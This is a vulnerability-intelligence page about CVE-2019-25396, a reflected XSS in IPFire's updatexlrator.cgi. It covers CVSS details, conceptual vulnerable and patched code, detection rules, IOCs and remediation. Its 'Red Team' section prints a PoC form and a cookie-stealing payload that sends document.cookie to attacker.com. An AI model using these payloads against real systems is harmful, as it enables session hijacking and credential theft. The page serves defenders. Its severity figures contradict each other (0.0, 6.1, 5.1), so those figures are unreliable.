☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]

CVE-2019-25396

CVE-2019-25396 Cross-Site Scripting in Ipfire
📅 PUBLISHED: 2026-02-18 20:59 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.25%
👁️
0.25% probability
6.3× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2019-25396 is a reflected Cross-Site Scripting (XSS) vulnerability in IPFire 2.21 Core Update 127, specifically within the updatexlrator.cgi script. An unauthenticated attacker can inject arbitrary JavaScript into a victim's browser by crafting POST requests with malicious payloads in the MAX_DISK_USAGE or MAX_DOWNLOAD_RATE parameters. This vulnerability allows for session hijacking, credential theft, and further internal network attacks. The CVSS score is 0.0 due to incomplete NVD data, but based on the vector, the severity is medium. No official patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
  • Base Score: 6.1 (Medium)
  • Attack Vector: Network (AV:N) – Exploitable remotely.
  • Attack Complexity: Low (AC:L) – No special conditions required.
  • Privileges Required: None (PR:N) – No authentication needed.
  • User Interaction: Required (UI:R) – Victim must click a crafted link or submit a form.
  • Scope: Changed (S:C) – Impact extends beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure.
  • Integrity Impact: Low (I:L) – Limited modification of data.
  • Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The requirement for user interaction reduces the immediate risk, but the lack of a patch and the potential for phishing campaigns make this a significant concern for IPFire deployments.

Deep Dive & Mechanics

The vulnerability resides in the updatexlrator.cgi CGI script, which is part of IPFire's web interface for managing update acceleration. The script processes POST parameters MAX_DISK_USAGE and MAX_DOWNLOAD_RATE without proper sanitization or encoding. When the script reflects these values back in the HTTP response (e.g., in an error message or configuration display), an attacker can inject HTML and JavaScript.

Attack Flow:

  1. Attacker crafts a malicious URL or HTML form that sends a POST request to updatexlrator.cgi with a payload like:
    MAX_DISK_USAGE=<script>alert('XSS')</script>
    
  2. Victim clicks the link or submits the form while authenticated to the IPFire web interface.
  3. The server reflects the payload in the response, causing the browser to execute the script.
  4. The script can steal session cookies, redirect to phishing pages, or perform actions on behalf of the victim.

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation). The lack of output encoding in the CGI script allows the injection to succeed.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

# updatexlrator.cgi (vulnerable)
my $max_disk = param('MAX_DISK_USAGE');
print "Content-Type: text/html\n\n";
print "<p>Current MAX_DISK_USAGE: $max_disk</p>";

Patched Code (Conceptual):

# updatexlrator.cgi (patched)
use CGI::Carp qw(fatalsToBrowser);
use HTML::Entities;
my $max_disk = param('MAX_DISK_USAGE');
$max_disk = encode_entities($max_disk);
print "Content-Type: text/html\n\n";
print "<p>Current MAX_DISK_USAGE: $max_disk</p>";

The patched version uses HTML::Entities::encode_entities() to escape HTML special characters, preventing script injection. The vendor has not released an official patch, so manual remediation is required.

Exploitation & Lab Setup

Red Team

Proof of Concept (PoC):

<html>
<body>
<form action="https://target-ipfire/cgi-bin/updatexlrator.cgi" method="POST">
  <input type="hidden" name="MAX_DISK_USAGE" value="<script>alert('XSS')</script>">
  <input type="submit" value="Click me">
</form>
</body>
</html>

Lab Setup:

  1. Deploy IPFire 2.21 Core Update 127 in a virtual machine.
  2. Access the web interface and authenticate.
  3. Host the PoC HTML file on a local server.
  4. Trick the victim into clicking the submit button.
  5. Observe the JavaScript execution.

Advanced Payload:

MAX_DISK_USAGE=<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

Detection:

  • Monitor web server logs for POST requests to /cgi-bin/updatexlrator.cgi containing <script> or onerror patterns.
  • Use WAF rules to block requests with HTML tags in MAX_DISK_USAGE or MAX_DOWNLOAD_RATE parameters.

Mitigation:

  • Apply input validation and output encoding manually by editing the CGI script.
  • Restrict access to the IPFire web interface to trusted IPs only.
  • Use Content Security Policy (CSP) headers to block inline scripts.

Indicators of Compromise (IOCs)

  • Network:
    • POST requests to /cgi-bin/updatexlrator.cgi with parameters containing <script>, onerror, onload, or javascript:.
    • Outbound connections to unknown domains from the IPFire server.
  • Host:
    • Modified updatexlrator.cgi file (if attacker gains write access).
    • Unusual entries in /var/log/httpd/access_log with XSS payloads.
  • File:
    • Suspicious files in /srv/web/ipfire/cgi-bin/ with injected code.

Detection Engineering

YARA Rule

rule CVE_2019_25396_XSS_Payload {
    meta:
        description = "Detects XSS payloads targeting IPFire updatexlrator.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2019-25396"
    strings:
        $payload1 = /MAX_DISK_USAGE=.*<script/i
        $payload2 = /MAX_DOWNLOAD_RATE=.*<script/i
        $payload3 = /MAX_DISK_USAGE=.*onerror/i
        $payload4 = /MAX_DOWNLOAD_RATE=.*onerror/i
    condition:
        any of them
}

Sigma Rule

title: IPFire updatexlrator.cgi Reflected XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects reflected XSS attempts against IPFire updatexlrator.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query: '/cgi-bin/updatexlrator.cgi'
        cs-uri-query|contains:
            - 'MAX_DISK_USAGE='
            - 'MAX_DOWNLOAD_RATE='
        cs-uri-query|re:
            - '<script'
            - 'onerror'
            - 'onload'
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of special characters in configuration
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2019-25396 IPFire updatexlrator.cgi Reflected XSS Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/cgi-bin/updatexlrator.cgi"; http_uri;
    content:"MAX_DISK_USAGE="; http_client_body;
    pcre:"/<script|onerror|onload|javascript:/i";
    classtype:web-application-attack;
    sid:10000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

  1. Manual Patch: Edit /srv/web/ipfire/cgi-bin/updatexlrator.cgi and add output encoding using HTML::Entities::encode_entities() for all reflected parameters.
  2. WAF Rule: Deploy a Web Application Firewall rule to block POST requests containing HTML tags in the vulnerable parameters.
  3. Access Control: Restrict access to the IPFire web interface to trusted IP addresses using firewall rules.

Long-Term Fix:

  • Upgrade to a newer IPFire version if available (check vendor for updates).
  • Implement Content Security Policy (CSP) headers to prevent inline script execution.
  • Conduct a security audit of all CGI scripts for similar vulnerabilities.

Workaround:

  • Disable the update accelerator feature if not required, or remove the updatexlrator.cgi script entirely.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2019-25396/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.